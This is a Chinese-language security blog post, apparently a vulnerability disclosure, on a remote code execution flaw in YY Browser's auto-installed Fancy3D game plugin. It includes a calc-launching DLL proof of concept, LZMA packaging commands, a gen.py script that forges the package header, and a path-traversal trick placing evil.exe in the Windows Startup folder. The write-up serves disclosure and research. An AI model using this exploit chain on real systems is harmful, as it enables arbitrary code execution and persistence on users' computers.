本文属于浏览器安全系列第四篇,目录如下
原文链接:http://zhchbin.github.io/2016/10/15/YY-Browser-RCE/
作者:zhchbin
案例链接:~~http://www.wooyun.org/bugs/wooyun-2016-0221080~~
这是浏览器安全系列的最后一篇文章(就目前情况而言)了,静待乌云归来。
本博客提供的部分文章思路可能带有攻击性,仅供安全研究与教学之用,风险自负!
在研究YY浏览器的默认游戏助手插件时,在代码里面找到一个游戏的名字:jzwl,于是在YY的游戏中心搜索了一下,找到了下面这个页面:
http://udblogin.duowan.com/login.do?online&report_ver=new&showtools=0&webyygame&pro=webyygame&rso=FROM_SCTG&rso_desc=%E5%B8%82%E5%9C%BA%E6%8E%A8%E5%B9%BF&ref=gw/entergame&ref_desc=%E5%AE%98%E7%BD%91%2f%E8%BF%9B%E5%85%A5%E6%B8%B8%E6%88%8F&game=JZWL&server=s6
点开这个页面的时候,我电脑上的腾讯安全管家弹出了下载文件的提示,仔细一看,我擦,自动下载了这么多文件下来!于是我觉得可以研究研究这个东西。
发现页面中有这样的一段代码:
<div class="flash">
<object id="fancy3d" type="application/fancy-npruntime-fancy3d-plugin" width="100%" height="198">
<param name="game" value="jzwl">
<param name="nprver" value="0.0.2.17">
<param name="ocxver" value="0.0.2.17">
<param name="liburl" value="http://loader.52xiyou.zsgl.ate.cn/jzwl/loader/loaderUpdater.71f24efc47252dee7ca07eb571bd6f50.dll">
<param name="libmd5" value="71f24efc47252dee7ca07eb571bd6f50">
<param name="unsafelib" value="allow">
<param name="param1" value="cmdline=uid:1576442523|skey:6|platform:duowan|sign:7115344fa13ccca8950cfea0484437ce|type:web">
<param name="param2" value="client_root_url=http://res.jzwl.52xiyou.com/client/">
<param name="param3" value="ip_port=[121.46.21.176,121.46.21.176,121.46.21.176,121.46.21.176]|[8092]">
<param name="param5" value="loader_root_url=http://res.jzwl.52xiyou.com/loader/">
<param name="param6" value="loader_ver_name=loader.ver">
<param name="param7" value="loader_catalog_name=loader_catalog.txt">
<param name="param8" value="loader_name=loaderjz.dll">
</object>
</div>
我擦!这个好像在哪里见过的:http://wooyun.org/bugs/wooyun-2016-0172781 我们开始分析吧!
YY浏览器启动的时候会检查注册表中是否已经安装有Fancy3D游戏引擎这个NPAPI插件,具体路径如下。如果不存在,则会自动静悄悄地帮用户安装上。
HKEY_CURRENT_USER\Software\MozillaPlugins\@fancyguo.com/FancyGame,version=1.0.0.1
libcurl
和libcmd5
这两个参数在 http://wooyun.org/bugs/wooyun-2016-0172781 已经分析过,这里更简单,连域名白名单限制都没有做,直接修改成为自己的域名都会请求,一开始我以为是可以直接搞定的。但实验过后发现,自己写的dll按照规则放进去之后并没有加载到进程中。进一步查看信息,发现360浏览器那个洞里出现的游戏提供方好像是同一家公司,看样子是做了数字签名,没什么好方法,先放一边。
里面还有几个参数,看上去也是会下载文件,把<param name="param5" value="loader_root_url=http://a.com/loader/">
改成自己本地的地址(注:我在Hosts文件里做了127.0.0.1 a.com
映射)看看它都会请求下载哪些东西。测试过后,发现过程如下:
2016-06-02
curl.exe.lzma||3b0c063789066f74667efc13db00e9cc||247772||f4edf7cab0d6a404b77eb816c996831c||506048
jztr.exe.lzma||c5dbe14ad37375371cb79261b848bcc8||69086||339068e9b3286cb30e100c398ea632f1||154816
flash.ocx.lzma||b2a9e2cdb422b3a71558ad9b6acc4ec8||1701337||8afc17155ed5ab60b7c52d7f553d579c||3866528
loading.swf.lzma||a77c04de83da48dcbb6b15c9028829a7||961202||5f52ea04bc871804c0c059a82053894c||950321
loaderjz.dll.lzma||4a51f304098ccebcecdf238ff3736d60||350535||2f22bb87e00681d858e3bd6013843231||804496
下载上面的文件,并执行加载游戏的一些操作。通过procexp.exe查看相应YY浏览器的NPAPI的进程,发现其动态加载的dll中,果然有loaderjz.dll
这个文件。
目录结构如下:
│───poc.html
│
└───loader
│ loader.ver
└───2016-06-02
curl.exe.lzma
flash.ocx.lzma
jztr.exe.lzma
loaderjz.dll.lzma
loader_catalog.txt
loading.swf.lzma
$ binwalk curl.exe.lzma
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
42 0x2A LZMA compressed data, properties: 0x5D, dictionary size: 16777216 bytes, uncompressed size: 506048 bytes
观察每个文件,发现它们都有一个不定长的头部信息,然后是LZMA:24
算法压缩的数据包,Google之后猜测是使用这里的工具开发的:http://www.7-zip.org/sdk.html
接下来分析一下头部信息都是些什么东西。注:这里用的是小端规则。
binwalk -e
解压开文件,发现就是加了头部信息之前的文件的大小 + 1curl.exe
的长度,注意结尾的\0
curl.exe
首先,自己实现一个dll文件,在其DllMain
入口函数的时候中启动一下计算器就好,代码如下:
BOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
WinExec("calc", 0);
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
编译成Release版本,改名,使用 http://www.7-zip.org/sdk.html 这里下载得到的lzma.exe压缩一下文件
E:\lzma\bin>lzma.exe e loaderjz.dll loaderjz.dll.lzma -d24
LZMA 16.02 : Igor Pavlov : Public domain : 2016-05-21
Input size: 12288 (0 MiB)
Output size: 5748 (0 MiB)
接着使用脚本gen.py(见测试代码)生成带有头部信息的文件:
$ python gen.py loaderjz.dll
output.lzma||3a94912118bc172065d643e1aa847b0d||5794||9bc1ee40c622a0d7a1f96a6c9119bbe6||12288
将生成的output.lzma覆盖loaderjz.dll.lzma
,并将loader_catalog.txt
中的值修改成上述命令的输出,使用YY浏览器访问测试页面。就可以执行任意程序了。
在测试的过程中,我还发现头部信息中的文件名可以使用..
跳转到上一级目录中,也就是说我们可以利用这个点来将一个可执行文件写入到用户的启动目录中。在生成头部信息时,只需要使用文件名:..\\..\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\evil.exe
,YY浏览器在下载这个生成的lzma文件之后就会自动将这个文件写入到启动目录中。
gen.py
import struct
import os
import sys
import hashlib
inputFileName = sys.argv[1]
#fileName = "..\\..\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\evil.exe"
fileName = "loaderjz.dll"
fileNameLength = len(fileName) + 1
lzmaFile = inputFileName + ".lzma"
outputFile = "output.lzma"
def md5(fname):
hash_md5 = hashlib.md5()
with open(fname, "rb") as f:
for chunk in iter(lambda: f.read(4096), b""):
hash_md5.update(chunk)
return hash_md5.hexdigest()
with open(outputFile, "wb") as f:
f.write(struct.pack('I', 32 + fileNameLength))
f.write(struct.pack('I', os.path.getsize(lzmaFile) + 1))
f.write(struct.pack('I', os.path.getsize(inputFileName)))
f.write(struct.pack('H', fileNameLength))
f.write(struct.pack('H', 0x11))
f.write('\x00' * 16)
f.write(fileName)
f.write('\x00' * 2)
with open(lzmaFile, "rb") as lzmaF:
f.write(lzmaF.read())
print outputFile + "||" + md5(outputFile) + "||" + str(os.path.getsize(outputFile)) +\
"||" + md5(inputFileName) + "||" + str(os.path.getsize(inputFileName))